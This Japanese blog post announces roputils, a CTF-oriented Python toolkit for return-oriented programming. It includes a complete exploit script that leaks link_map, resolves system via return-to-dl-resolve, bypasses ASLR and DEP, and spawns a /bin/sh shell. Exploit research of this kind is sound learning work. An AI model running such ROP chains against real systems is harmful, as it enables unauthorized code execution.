roputilsを作った

主にReturn-oriented Programmingを楽に行うためのツールキットを作った。 pwntoolszioなどのCTFフレームワークを参考にしており、機能もかなり近いものになっている。 また、CLIツールとしてchecksec.shpattern_create.rb、pattern_offset.rb相当の機能をクローンした。

これを使うと、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」のコードは次のように書ける。

from roputils import *

fpath = sys.argv[1]
offset = int(sys.argv[2])

rop = ROP(fpath)
addr_stage = rop.section('.bss') + 0x800

buf = rop.fill(offset)
buf += rop.call_chain_plt(
    ['write', 1, rop.got()+8, 8],
    ['read', 0, addr_stage, 400]
)
buf += rop.pivot(addr_stage)

p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))
addr_link_map = p.read_p64()
addr_dt_debug = addr_link_map + 0x1c8

buf = p64(rop.gadget('ret'))
buf += rop.call_chain_ptr(
    [rop.got('read'), 0, addr_dt_debug, 8],
    [addr_stage, addr_stage + 295]
)
buf += rop.dl_resolve(addr_stage + len(buf), 'system')
print "[+] offset to string: %d" % len(buf)
buf += rop.string('/bin/sh')
buf += rop.fill(400, buf)

p.write(buf)
p.write_p64(0)
p.interact()

設計方針は以下。

  • 過度の抽象化、カプセル化を避ける。初期化後に内部状態の更新を行うものは、ベースアドレスなど最低限のもののみとする。
  • デフォルト引数を活用する。たとえば、ELF.got(self, name=None)はnameを指定したときその関数のGOTアドレス、指定しないときGOTセクションの先頭アドレスを返す。また、p32(x)p64(x)関数はxがintの場合はpack、strの場合はunpackする。

roputilsと名前をつけてはいるが、必要になるときもあるのでシェルコード、format stringのクラスも実装した。 必要に応じて改良していきたい。

関連リンク